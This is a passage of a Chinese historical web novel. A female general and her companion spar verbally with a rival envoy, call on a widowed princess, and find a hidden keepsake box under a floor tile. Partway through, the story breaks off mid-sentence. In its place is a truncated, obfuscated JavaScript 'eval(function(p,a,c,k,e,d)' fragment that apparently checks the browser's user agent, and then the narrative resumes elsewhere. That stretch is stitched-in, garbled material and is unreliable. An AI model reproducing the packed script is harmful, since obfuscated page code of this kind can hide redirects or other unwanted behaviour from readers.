那老实巴交的随从被带了跟前,依然是硬着脖子,不见张至美就一句话不肯说。牟希来只有叫人把女婿喊来。张至美一看,这随从手中拿着自己送公孙天成的扳指,就大喜道:“哎呀,我就知道公孙兄不是不告而别之人,他来找我有什么事?” 随从道:“我家先生说,他在绿窗小筑见到太子殿下,今日有好戏,请张公子务必要去看。” 张至美狂喜:“哎呀,太子殿下回来了?岳父大人,我就说公孙兄真的是转回绿窗小筑去找孩儿了吧?他恐怕是一个人在那里等着见太子殿下,等到现在呢!” 牟希来看这不成材的女婿,真是气不打一处来,劈手给了他一个耳光:“看!看!看!你再看戏就连自己姓什么也不知道了!要不是当初斌儿看上了你,你怎么进得了我家的门?我的老命有要被你气掉半条!” 张至美眼冒金星,半晌也回不过神来。 牟希来真是觉得再看他一眼自己也要被气死了,就咆哮道:“还不叫小姐出来把姑爷带后头去?”又道:“把这人给我关起来。备轿,我要出门!” 47. 第 47 章 牟希来喊齐了一干大臣到了绿窗小筑,自然就是撞上了玉、石二人和段青锋的会晤。本来立刻就要闯进去,却被公孙天成使眼色制止住了。他也不知道自己是气糊涂了还是怎么着,竟然乖乖听了公孙天成的摆布,直等到公孙天成进屋去先让众人大吃了一惊,他才带着大臣门出现——段青锋螳螂捕蝉的好戏,却被公孙天成黄雀在后,惊愕之下,不知要如何辩解才好。而玉旒云冷冰冰地站在一旁,显然是发觉自己被愚弄了,于是立刻抽身,从戏子变成看客,只是,她瞥见公孙天成镇定又略带得意的神色,心中晓得:这老头儿,在他眼里,我还是被他玩弄了的小丑。 可恶!她扭过头去,正巧看到墙上的一副对联,写的是“你也挤,我也挤,此地几无立脚地;好且看,歹且看,大家都有下场时”。心中又不由一动:呵,这倒贴切!公孙老儿你莫得意,若收拾不了你,我就不叫玉旒云! 敌人、对手集结在眼前,这时才更要冷静,不可被愤怒冲昏了头脑。她深深吸了一口气,静下心来仔细思考西瑶这古怪的不结盟国策——既不结盟,为何段青锋说他父亲派他去找赵王呢?啊,是了,他们跟赵王的约定只不过是提供兵器,和减免关税,并没有提到出兵之事,所以依然符合“为通商而立约,决不可为征战而结盟”——到时候就算是有征战,那也是赵王用西瑶提供的兵器在樾国打内战,还是没有违反西瑶人的祖训。 这群人,玉旒云冷笑,虚伪狡猾得令人作呕! 不知公孙天成晓不晓得西瑶人企图和赵王勾结的事呢?她想,若是被这老家伙洞悉了赵王的反心,恐怕他要加以利用,对我不利。微微的眯起眼睛,流露出一丝杀意:你想让大家都结盟不成,我偏偏要斗你一斗,大不了,我可叫你没命回楚国去! 这时已有许多歌妓听到这边的动静,都挤到门前来看热闹,老鸨忙着赶她们回自己房间去。但她们都是同段青锋一处疯惯了的,并不知道这里是真的剑拔弩张,还以为太子又有什么新鲜玩意儿呢,都嘻嘻哈哈不肯离去。更有人把眼瞟着玉旒云跟石梦泉两个,偷偷娇声议论道:“哎,殿下几时又交了这两个俊俏的朋友?哎哟,你看那个白衣公子,简直比卓大人还要漂亮呢!啧啧,殿下的戏班子里什么人都有,不过就缺几个俊俏的。”又有人道:“切,你懂什么?演戏只要演得像就行了,哪里能都俊俏呢?你看,那几个演老头子就一定要背够驼,肚子够大才行,否则就不像老糊涂啦!” 这显然是指着牟希来等老臣而言的,原来是把他们也当成段青锋豢养的戏子了,牟希来真是急怒攻心,指着段青锋怒斥道:“殿下,你……想晋王爷在世在时候,勤奋刻苦,上为万岁分忧,下为百姓解难,你不能做这些就罢了,你钟爱胡天胡地风花雪月也罢了,如今却还要给万岁添乱,陷百姓于大难,你……你叫晋王爷泉下如何瞑目?你将来又有何面目去见列祖列宗?” 段青锋虽然桀骜,但是似乎对这老师还有几分敬畏,尤其听他提到自己的亡兄,脸上更上红一阵白一阵,十分难看。玉旒云见了,心想:这老家伙是公孙天成特地请来捣乱的,段青锋如此大的野心,如果不跟我结盟是无论如何也无望的,我要想得到那铸箭和火炮的技术,需要的不是和西瑶结盟,而是和段青锋结盟。不错,西瑶有这种卑鄙而古怪的国策,段青锋这个人却无此原则。我只要把握住了他,就可以得到我想要的东西。 定下了这样的计划,她自然就要出面维护段青锋。于是冷冷一笑,道:“太师你说话真有有意思。我跟太子殿下交往虽不深,却已知他文韬武略,有心为国家做一番大事。哪怕他做的不对吧,你身为老师的,应该好生指点教导,先肯定其诚心,再指点其门路。怎么我自见你进门,就对他没有一句好话。我看你分明是对他有成见,打心眼儿里就觉得只有那去世的晋王爷才是治世之明君,而太子殿下就是个成事不足败事有余的花花公子,所以,他做什么事你都看不入眼去,是也不是?” 这话仿佛正说到人痛处了,牟希来不由一怔,而段青锋也流露出委屈之色。 玉旒云看找对了切入点,立刻打铁趁热,又接着道:“这位公孙天成先生是个阴险狡猾之辈,最喜欢的事就是不劳而获,巴不得太师和太子殿下自家人闹起来,他楚国好从中取点好处——我不怕直说:不错,我此来是希望能得贵国相助,灭了楚国。不过,就算贵国不肯出手,难道我就灭不了楚国吗?我樾国军队半年之内就几乎一统了整个北方,天意如何,相信大家心里都清楚,楚亡于樾之手只是迟早之事,大火将燎原,只看你西瑶愿不愿意加一把柴。而对于公孙先生就完全不同了,若是贵国不肯和他们结盟,楚国恐怕明年就不复存在。他是千方百计,连蒙带骗,也要从贵国取得一点好处啊!太师身为一国之重臣,居然被这样一个卑鄙小人玩弄,我玉某人真替你不平!” 牟希来未答话,公孙天成却“啪啪啪”地鼓掌笑道:“玉大人的口才可真好——说到卑鄙小人,就是那心口不一之辈。人所谓‘司马昭之心路人皆知’,而司马昭自己却不肯承认,所以他是个卑鄙小人。玉大人你就不同了,你虽有狼子野心却不怕当众说出,果然是真君子——可惜你却做不了大丈夫。哈哈!太师,玉大人说的话一点儿都没错,樾国倚仗兵强马壮,就想要做天下之主——她说我楚国敌她不过,天下必为她所有,其实还有一句没说,那就是将来她也要把西瑶纳为自己囊中之物呢。”说着,瞥了玉旒云一眼,又道:“说什么逐鹿问鼎,天下以能者得之,都是狗屁不通——这不就好像一个强盗出来说,因为他的拳头够硬,刀都快,所以就该得到天下所有的钱财么?玉大人竟然说天意,敢世上有哪一个强盗是有好下场的?即使不被官府捉去砍了脑袋,将来也被自己同伙为争夺财宝而杀。这就是天意啊。” 玉旒云早就料到这个老狐狸口舌工夫厉害,跟他斗嘴难占上风,而最紧要的,是不被他气昏头脑,是以只冷冷一笑,道:“不错,强盗的确没有什么好下场。不过浑水摸鱼的地痞一般死得更早。公孙先生高才,应该不会不知道吧?” 公孙天成意在破坏樾人和西瑶的关系,只要他们结盟不成,就是自己的“中策”成功了,所以并不在乎玉旒云骂自己是地痞,反而偏偏要引着她来做些无谓的口舌之争,而忽略了结盟的正事。 石梦泉清楚玉旒云的脾气,老这样同这老狐狸争下去,万一拿捏不准,控制不住,恐怕就着了人家的道儿,因此轻轻咳嗽了一声,提醒玉旒云。玉旒云眼睛一转,也就会意了,转向段青锋道:“太子殿下,今日戏也看了,茶也吃了,下面还有什么节目么?要是没有,不如大家回去休息,可好?”她是要帮段青锋下台,同时也不给公孙天成挑拨离间的空子。 “自然是没有节目了。”牟希来道,“既然玉大人累了,老夫这就安排你去国宾馆休息。公孙先生是想回老夫家中,还是也到国宾馆去?” 要赶我走,还要我和这公孙老狐狸同住一个屋檐之下?玉旒云禁不住冷哼了一声,倒不如夜里把这老家伙杀了,真正干净。虽然后人也许议论我不敢在正面战场上和他交手,但是宁可就此除掉他,省得将来麻烦……她虽然动了这念头,但毕竟心高气傲,立刻又想:到了正面交锋之时,难道我还真的赢不过他?要是不堂堂正正的把他和程亦风打个落花流水,我可咽不下这口气! 公孙天成却是嘿嘿笑道:“老朽叨扰太师也久了,在段世子家中也住了好些时日,还是该住回驿馆吧。”说时,看了看段青锋,那意思是:你打的什么主意我早就全都说给牟太师听了,你的如意算盘已经打破了,趁早别再想! 段青锋大约先前以为自己计算精妙,根本没料到会有此一变,还未想出应对之法,所以虽然恼火,却也只能站着。雪上加霜的是,牟希来还没训斥够,铁青着一张脸道:“殿下,两国使节都要去休息了,不过可不可以劳烦殿下跟老臣多留片刻,把事情跟老臣解释个明白,老臣也好去枯云寺禀奏皇上。这次老臣失察之罪大矣,就请皇上免了我的官职,准我还乡罢了。但那之前,老臣一定要给皇上和西瑶百姓一个交代。” 这老头!玉旒云越看他越讨厌。 而偏偏这个时候,听外面一人道:“殿下!太子殿下!”便有一个三十多岁的男子走了进来,他身材修长剑眉星眸,举手投足既英武又儒雅,立刻就吸引了所有歌妓的目光,莺莺燕燕的齐唤出一声:“哎呀,是卓大人!” 其实公孙天成只看外表也就猜出来了:正是迷倒西瑶全国少女的卓思远到了。 玉旒云和石梦泉却不知有这么一号人物,好奇地盯着他。 卓思远到了跟前,跟段青锋见礼:“太子殿下,原来你在这里,微臣方才从晋王府中来,王妃找你有急事,叫我立刻请你过府去。” 这是什么话?玉、石二人互望了一眼:晋王妃不是拿了盆曼佗罗花就走了么?这才分手没多少时候,又突然有什么事了?而且,不派宫女来,不派太监来,找了这个人,是何规矩? 段青锋愣了愣:“王嫂找我?什么事?” 卓思远道:“总之是急事,你跟臣来就是了。”说时,不管三七二十一,竟然拉着段青锋就走。 “站住!”牟希来厉喝道,“卓大人,你眼里还有没有老夫?有没有朝廷?那天老夫请你,你为何不来?我的手下在萱懿山庄遇到你,你为何撒谎说太子就在萱懿山庄?现在你又来这里胡闹,太子是你说带走就带走的么?” 原来那天牟希来的人还真是萱懿山庄见了卓思远!公孙天成还以为是随口编造的呢——听这话,卓思远当日竟替段青锋圆谎?今日又明显是来替他解围的,难道这人……这人和前后两位西瑶太子之前究竟是何关系? 卓思远静静地看了牟希来一眼:“太师说卓某人眼里没有您,没有朝廷?太师难道以为自己就是朝廷么?您虽然是太子殿下的老师,但是他是君,您是臣,您一向当面对他恶言挖苦,背后又老是说他多荒唐无能,敢问这可是臣下对待主君的规矩?是谁的眼里没有朝廷呢?” 牟希来不禁一怔。段青锋也才找回了些底气,道:“老师要训斥我,也等我去王嫂那里替她办了事再说。” 牟希来气得不知要说什么好,指着二人直打颤。但卓思远略略一礼,就给段青锋让开了道儿,出门去了。而段青锋的一群戏子以及柳成舟等官员也都跟着鱼贯而出。 公孙天成摇摇头:“荒唐荒唐,即使是要讲君臣之礼,那也还有尊师重道呢,怎么能如此对待老师?” 玉旒云冷笑:这老狐狸,看出我把宝押在段青锋身上,他就押在这老太师的身上。这老太师如此嚣张,看来在朝中有只手遮天之势,难怪逼得段青锋做事都要偷偷摸摸。不过,看他也半截入土了,且段青锋是名正言顺的王位继承人,这些跟牟希来一起刁难段青锋的人也真是不识时务!我就助段青锋从这老家伙手里夺了权来,看他还不把铸箭和火炮的秘密告诉我! 如此一想,便负着手走到牟希来跟前,道:“太师,说是要招待我们去国宾馆的,不晓得要往哪边走?” 牟希来还气得没反应过来,他同来的那正牌礼部尚书道:“去五洲馆嘛,老夫可以给二位带路,公孙先生也一同来吧?” “那可真是有劳大人了。”公孙天成道,“不过,在下的随从大概还在太师府里。那个孩子年轻不懂事,谁的话都不听,若我不亲自去一趟,恐怕他还不肯走呢。我大概还得打扰太师一次。” 哼,还不是想借机跟老太师商量什么诡计?玉旒云才不惧他,拱了拱手道:“既然这样,那我们先行一步。回头公孙先生到了五洲馆要是想喝杯茶,聊聊天,我和石将军都欢迎之至。” 公孙天成笑道:“玉大人盛情,不过老夫年纪大了,喜欢早睡早起。其实这对身体很有好处。你们年轻人不会明白的,到老才后悔,就晚啦。” 玉旒云知道他是倚老卖老,拐着弯儿骂自己,暗想:就让你们这群老家伙一处混去,看你笑到几时! 她和石梦泉在五洲馆安顿,一宿无话。次日早晨起身才到庭院中,就看到公孙天成正在手舞足蹈不晓得练的什么功夫。玉旒云暗想,老狐狸是不是前夜和那太师计划了整晚,想出了什么对付我的法子,得意忘形,所以特特要来跟我示威呢?于是冷冷一笑,对石梦泉道:“楚国说自己是天朝上国,历史悠久,他们武林中的那伙匹夫也都个个觉得自己高人一等。不晓得这是什么功夫?” 石梦泉知道她是小孩子脾气发作,这时应该尽量避免和公孙天成斗嘴白费力气,去拿到铸箭和火炮的技术才是正理。于是,连劝带哄地说道:“听说西瑶有一种奇怪的早点,把鸡蛋串起来烤的,这五洲馆里怕还没有,咱们到街上去尝尝看,好不好?” 玉旒云当然知道他的用意,笑了笑,道:“好,鸡蛋也能串起来烤,真是有意思,比老驴抬蹄好看得多了。咱们这就走吧!”说着,和石梦泉转出了前庭去。公孙天成明知她在骂自己,也并不屑计较,依然活动筋骨。 玉、石二人到了街上。石梦泉道:“大人,现在是怎么个打算?段青锋被那牟太师搅和了一下,现在也不知究竟是什么想法,咱们去太子府见他的话……我怕牟太师长了心眼儿,安插了耳目,会发觉,到时候又来从中作梗了。” 玉旒云道:“也是。我初时觉得段青锋似乎是个很厉害是人,后来发现是好看多过有用,再接着看他被牟太师一吆喝,竟然全不知所措,我想他实在……不过,他又并不像完全是个绣花枕头,否则也不能把咱们引到这里来。我想,他……他有一个心病。” “你是说……”石梦泉揣测着,“死去的段青铮?” 玉旒云点点头:“你也看出来了?我觉得他好像是被他死去哥哥的光辉给遮盖住了?看牟太师提起晋王时,赞不绝口,而对他就没一句好话,他那时脸色不知有多难看。像他这样一个敢公开出入妓院的王储,平时遭人议论肯定不少,他要是都在乎,早过不下去了。但是牟太师把他同他哥哥比较,他却很是在乎。” 石梦泉道:“人是怎么也比不过死人的。” “话不能这么说。”玉旒云笑道,“只有那些想不开的人,才会去和死人比。我看死人简直没什么能比得过活人的。” 石梦泉笑笑——其实死人至少比活人有一点强,就是他们知道一切都是会失去的,万事到头来可能都是一场空。不过,他不会说出口——玉旒云踌躇满志,不需要听这样的丧气话。况且,就算最终是一场空又如何?只要曾经拥有过了,甚至只是梦想过了,就足够了。 “段青锋的这个心病,我们要怎么帮他治呢?”他问。 “帮他治?”玉旒云挑了挑眉毛,“做什么?难道治好了他,好来和我作对么?我是要研究清楚这病,好拿住了他,吃定了他。” 石梦泉一怔,转念想想,可不是如此。但是又如何“拿住他,吃定他”?他望了望玉旒云,而后者似乎也还没有确实可行的计划,只是漫不经心地环视四周,欣赏着临渊繁华的街道。 这时虽然时辰尚早,但店铺都已经开张了。这五洲馆因为接待各国使节和来往豪商,吸引了众多西瑶商人来此开铺,而且,为了自己的货品远销四海,各家都拿出最最吸引人的货色来,店铺布置惟恐不光鲜,陈列出的样品惟恐不新奇。正对玉、石二人的一家是个卖银器的,银锁、银簪、银镯子坠在门前,像是一幅闪闪的门帘,叫人眼花缭乱。而其左边一家是卖布的,不晓得手艺人将什么材料织进了布匹之中,悬在铺面上的几幅样品骖若云霞,比起旁边的银饰来竟毫不逊色。其右边一家是个卖花鸟虫鱼假山盆景的,玉旒云的目光就在那里停住。 “你看——”她指给石梦泉。只见许多盛放的盆花之中有一株红色的曼佗罗,因为颜色太深了,看起来几乎是黑的。“晋王妃昨天不是拿了一盆曼佗罗么?咱们送盆花给她,顺便串串门去!” 晋王妃穆氏取走的是一盆白色的曼佗罗,看来清新淡雅,和王妃的气质十分相称,而这一株花则阴森森的,活像潜伏在角落里的幽灵,王妃未见得会喜欢。只是,做个登门拜访的借口也无所谓。 两人上前去问了价,掌柜倒并不以为这花稀奇,没花多少银子就买下来了。又打听了晋王府的所在,就雇了辆车往那里而来。 到了这府邸的所在,见规制和太子府相仿,不过却甚新,估计是段青铮死后才为他的遗孀而建。既然是寡妇居所,也就不用朱漆,门、柱几乎都是原色,这就衬出武德帝亲笔题写的“晋王府”匾额格外威风,黑底金漆,那样气势不凡地压在门楣上,竟让人产生一种仿佛门框都要被压塌的感觉。 玉、石二人向门子通报了姓名,里面传话来,说,寡居之人,不便在家见陌生男子。玉旒云道:“不见也无妨。方才看到这盆花很是别致,所以就特地买来送给王妃,小小心意,请她一定笑纳。” 这次把花送了进去,里面又传出话来,说,王妃多谢玉大人,请玉大人慢走。 玉旒云略蹙了蹙眉,还不死心,道:“虽然不便进去打扰王妃,不过,昨日王妃跟我说过有关‘彼岸花’曼殊沙华的一些事,后来在绿窗小筑看到太子殿下的新戏也恰巧就是唱的此花,我很是好奇。不知王妃能否指点一二,比方说哪本书,拿部佛经中有关于此花的传说呢?” 门子几时见过这么烦的人?假如两人面对面谈话,恐怕几句就解决了,现在要他跑出跑进地传达,实在麻烦,忍不住横了玉旒云一眼,但是看到这年轻人虽然生得清俊好看,面上也带着微笑,却不知哪里透出一股冷气来,自己本是瞪人,反而好像被瞪了似的,打了个哆嗦,不敢怠慢,忙又进去传话了。 这一次他再回来,身后跟着一个大宫女和四个太监。“王妃说二位远道而来,若不奉茶,实在失礼,请二位跟奴婢到后花园。” 石梦泉不禁诧异地看了看玉旒云:你怎么知道提起曼殊沙华来她就一定会请我们进去呢? 玉旒云只笑着耸耸肩:蒙的。她丈夫爱这花,她小叔子又搞这么大排场来唱这花,大概其中就有些关系。 两人只是这样无声的交流。都负着手,由那大宫女引到了后花园中。 此间竟也是一片花海,只是遍地盛开的都是洁白的菊花,和太子府中妖冶的石蒜完全两样。花丛深处有一个凉亭——其实说是凉亭,倒不如说是草棚,不过是几根木柱子上架了一个茅草顶。若不是穆氏王妃领着两个宫女在亭子中坐着,玉、石二人要怀疑自己是来到野外了。 穆氏依然是穿着一袭白衣,似乎今日是在自己家中,所以把头上的钗环也省了,整个人看来仿佛不食人间烟火的仙子,飘飘然从云端落到这片花海之中,叫旁人不敢有半点轻慢之心。 玉、石二人到了跟前,不及向她行礼,她已先站了起来,微微一笑,道:“适才拘泥繁文缛节,怠慢了二位。其实两位昨日都与我见过,算不得陌生人,而玉大人又是巾帼英雄,本也不须避忌。再说,远来之客,还送了我这样一株奇特的花,我若不请二位用一盏清茶,就实在说不过去了。” 玉旒云看到那盆深红色的曼佗罗,在这洁白无尘的世界里显得如此突兀,笑道:“我是不懂花的。要早知道王妃这里非白花不种,我也不会找这一株黑色的花来。王妃若是不中意,尽可以丢掉,也不值什么钱。” 穆氏轻轻地摇摇头:“玉大人说的哪里话。虽然我偏爱白色,但世上的花本来就有各色各样,岂可因为我的喜好就无端端把把这株花丢弃?花本无过,有错的都是想出各种好恶的人。”说时,示意玉、石二人落座用茶。 玉旒云看那茶中也是白菊花,虽然以往花茶见多了,但是似这般在水中绽放仿佛有生机的,却是头一次见到,忍不住赞了一句。穆氏笑道:“我独居无聊,就喜欢做些花草茶,大人如果觉得合口味,也可以自己做来试试——这菊花甘凉清润,能平肝明目,牡丹则味苦淡平,可调经活血,而茉莉又可以平肝解郁,理气止痛;几种花种植起来都不怎么麻烦,常常饮用对身体很有好处。” 玉旒云笑笑:“我没有王妃这么好的雅兴,也没有这么好的耐心。不过,我姐姐倒是很喜欢摆弄些花花草草的,王妃既然有经验,我回去说给她听。” 穆氏也笑了笑:“看我,都忘记了。玉大人日里万机,怎么会像我这样清闲?玉大人说要问关于曼殊沙华的事?” “啊,是。”玉旒云道,“就是好奇而已。” 穆氏手执一柄素白纨扇,轻轻摇了摇,道:“玉大人应该听说过‘天花乱坠’吧?《法华经》中记载:‘佛说此经已,结跏趺坐,入于无量义处三昧,身心不动。是时天雨曼陀罗华、摩诃曼陀罗华、曼殊沙华、摩诃曼殊沙华,而散佛上,及诸大众。’这降下的四种花,就是‘天界四花’。《妙法莲华经决疑》中解释,‘曼殊沙华’是‘赤团花’,有人说是红莲花的,不过我们西瑶国都以为是石蒜花。大人如果想找典故看,就去看看佛经吧。” 玉旒云笑着点头,心里却想:那种叫人逆来顺受任旁人宰割的牢什子书怎么可以看? “大人说在绿……绿窗小筑看太子殿下演了一出关于曼殊沙华的戏?”穆氏道,“这戏如何?” “也不算是戏。”玉旒云道,“太子殿下设计的这场歌舞实在是太特别了,我等俗人可看不明白呢。”当下就把那回环复踏的彼岸花之歌描述了一番。穆氏静静地听着,大约在想象绿窗小筑里的情形,浅浅地皱眉,又微微地叹息,好像被这歌舞勾起了无限的心思。 “我和梦泉都不是风雅之人。”玉旒云道,“我再怎么描述,也及不上那表演的十分之一二。王妃要想知道其全貌,恐怕得叫太子殿下专门找功夫给你演一次才行。” 穆氏道:“太子哪儿有那功夫?他要应酬那些伶人舞女,还要和他的朋友一起吟诗作对,才没空里理会我呢……唉,我还指望他……算了。” 玉旒云只想发掘些有关段青铮的事情,就道:“这‘彼岸花,开彼岸’的歌词是太子殿下所写么?在下前日看到一幅晋王殿下为王妃画的小像,也题了这首诗呢!” “哪幅画像?”穆氏问,听玉旒云讲到是画有一大片石蒜花的那幅,她才记起来,笑道:“是好多年以前的事了,题了那首诗么?我也真不知那诗究竟是谁写的。应该是根据佛经写的吧。佛曰,‘梵语波罗蜜,此云到彼岸,解义离生灭,著境生灭起,如水有波浪,即名为此岸,离境无生灭,如水常流通,即名为彼岸’。‘彼岸’就是那不生不灭之地,要修炼到涅槃才达到‘彼岸’。” “涅槃”不是佛家修炼的最高境界么?石梦泉想,那么彼岸花也应该是祥瑞之花才是,如何跟黄泉阴司联系在一起,叫人不寒而栗? 穆氏似乎看出了他的疑问,就解释道:“大部分修行的人是修行不到家的,在他们看来,所谓‘涅槃’,其实也不过就是死了吧,所以就都传说曼殊沙华是开在黄泉路上的花。” “原来是这样。”玉旒云道,“其实那些真正‘涅槃’了的,有几人会回来告诉我们他是真的‘涅槃’了,而不是死了呢?所以谁知道彼岸究竟有没有,是什么样。” 穆氏道:“看来玉大人是不信佛的的人,旁观者清,一语道破,要是叫那些大师们听去,不晓得他们会怎样生气——” 正说着的时候,有一只顽皮的雀鸟从亭子里穿过,“戛”地一叫,吓得执壶的宫女手一松,羊脂白玉壶直摔下来。眼见着就要砸到桌上摔个粉碎,石梦泉赶紧伸手来接,不过,毕竟是玉旒云离得近些,一把抓住了,又稳稳放在桌上。 穆氏看在眼里:“大人真是好俊的功夫啊!” 玉旒云道:“王妃过奖了。我也可以算是一介武夫,这种小小手段,不值一提。” “玉大人是……什么时候开始习武从军的呢?” 玉旒云眉头一蹙:我是来打听消息的,你反倒想翻我的老底? 穆氏也意识到问得突兀了,连忙笑着解释:“玉大人是难得一见的巾帼英雄,我心里既崇拜又羡慕。少有女子可以做闺阁之外的事啊,就像……就像去绿窗小筑看戏,玉大人能去,我就不能去。玉大人一定还尝试过许多别的女子一辈子也别想经历的事吧。” 石梦泉真怕玉旒云会发作——她的往事是她的痛楚,她的忌讳,自己和玉朝雾皇后都小心翼翼不去提起,如今穆氏以这样羡慕的口吻来说,岂不是特特要来刺激玉旒云?他担忧地望了玉旒云一眼,只见她面无表情,眼里却已经有了一丝杀意。就连忙轻轻碰了碰她的胳膊,示意她冷静下来。自己心中不无感慨地想:我倒希望她不要经历那些普通女子不须经历的事情,只做个快快乐乐的亲贵小姐,那该多好。 穆氏也觉得自己可能说错了话,想打个岔缓解气氛,因道:“我是个没什么用的人,大门不出,二门不迈。见识也浅。所知道的古今女子,除了《列女传》上的,就没有几个了。而所佩服的,长辈里的是孝文老太后,平辈中的,就是玉大人。我常想,假如我能和你们一样,做些与别不同的事,那该……呵呵,谁知道呢?也许我只是看人挑担吧。” 玉旒云饮了口茶,在水中照了照自己的样子,尽量缓和面色,道:“王妃真是太看得起我玉某人了。不知孝文老太后是……” 穆氏道:“我西瑶是偏远小国,难怪玉大人不知道。孝文老太后就是当今圣上的养母,我西瑶百姓有口皆碑的一位贤德妇人。” “哦?”玉旒云知道穆氏所谓仰慕自己多半是客套话——竟然把自己和一位“贤德”妇人相提并论。不过,为了礼貌起见,她还是做出一副“愿闻其详”的样子。 穆氏道:“孝文太后原先是栗佤族的大祭司的女儿,先皇灭栗佤族统一南方时,她入了镇南王府,嫁给镇南王世子为侧妃,因为知书识礼,深得上下人等的喜爱。世子即位之后,原配去世,他就做了镇南王妃,几十年来一直辅助丈夫,且尽心抚养那原配王妃的儿子,也就是当今圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玉旒云本来也就对花茶毫无兴趣,不过是没话找话说,想要设法从穆氏口中套出些能够制住段青锋的细节来。她正想着下一步该怎么走呢,忽然见一个太监匆匆由□□上跑了来,报道:“启禀娘娘,卓大人来了,说是有关晋王忌辰的事,有些细节要请娘娘过目。” 卓大人?玉、石二人互望了一眼,就是昨天在绿窗小筑替段青锋解围的那个么?后来跟五洲馆里的人打听了,是兵部尚书卓思远,也是晋王生前好友。不过,祭祀皇族之事理应由礼部负责,他来商量什么细节?怕是个借口吧。 “你请卓大人到花厅稍候。”穆氏道,“我一会就去。”又转而对玉、石二人道:“真是怠慢了,二位若不急着走,就在我这园子里看看花也好。” “不必了。”玉旒云道,“我们也打扰王妃很久了,该回五洲馆去办正事。王妃不介意,我们顺道去和卓大人打个招呼也好。” 穆氏当然是不介意的,还再三的留客,不过玉旒云也再三推辞,她就叫宫女去“拿几包好茶,送到花厅”,自己引了玉、石二人去见卓思远。 还没有走到花厅呢,双方就遇上了。卓思远这时在日光下显得比前夜更加俊朗非凡,才躬身要给穆氏行礼,又惊道:“你们怎么也到这里来了?” 玉旒云当然知道他指的是自己这个“不速之客”,就笑道:“我们在太子府中和王妃有过一面之缘,今日特来拜会。本来和卓大人也有了一面之缘,应该登门拜访的,既然在此遇到,就顺便来打个招呼。卓大人年轻有为,久仰久仰。” 卓思远拱了拱手:“说到年轻有为,卓某怎敢和玉大人同石将军相比?”本来应该还再说几句客套话的,但是他仿佛突然想起了什么,取出一本册子双手呈给穆氏,道:“娘娘,这是祭祀用的清单,请您过目。臣本来奉了太子殿下之命,要去五洲馆请玉大人同石将军过府议事,既然在这里碰到了,臣就与他们同去。请娘娘恕臣无状,来去匆匆。” 特地来请咱们?玉旒云怎么听怎么觉得这是句假话,偏偏卓思远低着头,看不见表情。她只有同石梦泉交换了一个眼色:你看呢? 石梦泉不做声:即使有危险你也会去的吧?我自然是陪在你的身边。 玉旒云会意地笑笑:只要我们一起,有什么事是做不成的? 穆氏听他这么说,就道:“去太子府议事自然不要耽搁。我看完了这清单自然派人去告诉大人。” 卓思远顿首表示明白,同时向边上让开了路:“玉大人,石将军,请——” “卓大人请——”玉旒云故意要同他客气一下,实际是想趁他抬头之际从他的神色中寻找些许线索。只是,当卓思远抬脸的刹那,玉旒云心中一震:咦,他的样子……他的样子……我还在什么地方见过? 卓思远并没有骗他们,当真带着他们回到了段青锋的府里。总管太监张郁德说段青锋正在引玉斋里写字,卓思远就引着玉、石二人直朝那边来。 到了那里,只见地上如下过雪一般铺满了纸,每一张上或工整或潦草,都写了一个“匣”字。而案前段青锋依然挥毫不止,一笔写就,立刻就丢了,再写下一张,三人只不过在门口一愣的功夫,就又有好几张太子墨宝被丢在了地上。 “咳咳!”卓思远清了清喉咙。 段青锋抬头看到他们,一怔,道:“你们怎么……” 卓思远道:“殿下,臣虽然费了些周章,不过把两位大人找来了。耽误了时辰,请殿下见谅。” 玉旒云明显地看出段青锋眼中的惊讶:卓思远说的满口胡话。 “张公公,”卓思远转身命令张郁德,“烦你叫人给两位大人准备茶点——太子殿下,臣还有些关于晋王忌辰的事需要跟您商量,能否借一步说话?” 段青锋有些厌恶地皱起了眉头,但是显然不愿意让玉旒云看出自己被臣下耍着玩,所以煞有介事地把笔一丢:“好,两位大人稍候,我去去就来。”便同卓思远走出了引玉斋。 玉旒云看他们走远了,即冷笑一声:“故弄玄虚,其实不过是个绣花枕头!” 石梦泉也道:“看来他原来的计划被公孙天成打乱了,现在还没想出解决之法来,他正郁闷不已呢——不知写的这个‘匣’字是什么意思?” 玉旒云踢开了几张纸,“哼”了一声,道:“雄剑藏玉匣。他是把自己比如成没有用武之地的宝剑吧?匣里龙吟,呵呵,可真能顾影自怜,全是戏子身上的毛病!” 石梦泉替段青锋苦笑了一下:这位太子的确像是个戏子,只不过刚刚演砸了。 他俩在引玉斋里负手信步而走。玉旒云不时地把地上的纸踢向一旁。不觉,就走到了前日那块烧制着曼殊沙华的方砖上,她驻足回头去看墙上那幅段青铮画的画,花海中穆氏王妃栩栩如生,身后的那个男子也面目清晰。玉旒云不禁“哎呀”一声:“这不是那个卓思远么!” 石梦泉听言,也来细看。果然,穆氏身后的男子清秀俊逸,正是卓思远。“他怎么会被画在王妃的身后?” 玉旒云也有同样的疑问。她低头看看那与别不同的地砖:这个有古怪!趁着段青锋不在,且揭开来看看! 一见她低头,石梦泉就猜到她的想法了,所以,她心念才动,挚友已经矮身去掀那地砖。她一笑,也来帮手。两人的猜测果然没错,这地砖并没有砌实,没花多大力气就撬开了,下面是一个方形的坑,内放一个锦盒。 玉旒云才伸手要拿,石梦泉却惟恐有什么机关,自己一把夺了过来,扳动机括,盖子“啪”地一下打开,是平平无奇的一个首饰匣子,里面有两束头发,用一根红绳系在一起,此外再无他物。 “这……”两人互相望望:人说“结发夫妻”,将头发束在一处就是定情之意,这奇特的地砖,还有只能在这个角度看到隐藏人物的画像,这……莫非是穆氏王妃这卓思远有奸情?莫非是他俩的丑事被段青铮发现了,所以他俩就下毒手将其害死?段青锋对这事知道多少?看卓思远几番帮他,难道他也是这件事的参与者之一,杀死了兄长从而坐上了太子的宝座? 两人心中一时涌起种种猜测。但听外面一阵脚步声,便赶紧将锦盒放回原处,推上方砖,又将些纸张掩盖其上。才堪堪做好,即见卓、段二人走进门来。段青锋道:“两位大人久等了。”神情与方才大是不同。 玉旒云就踏在那天大的秘密之上,气定神闲:“不算久。要成大事,还是得有些耐性。” 段青锋笑道:“呵呵,玉大人果然是一世枭雄,我总算也没看错伙伴。” 玉旒云听言,挑了挑眉毛:“怎么?殿下这话的意思是,我们可以继续昨日未完的话题了?” 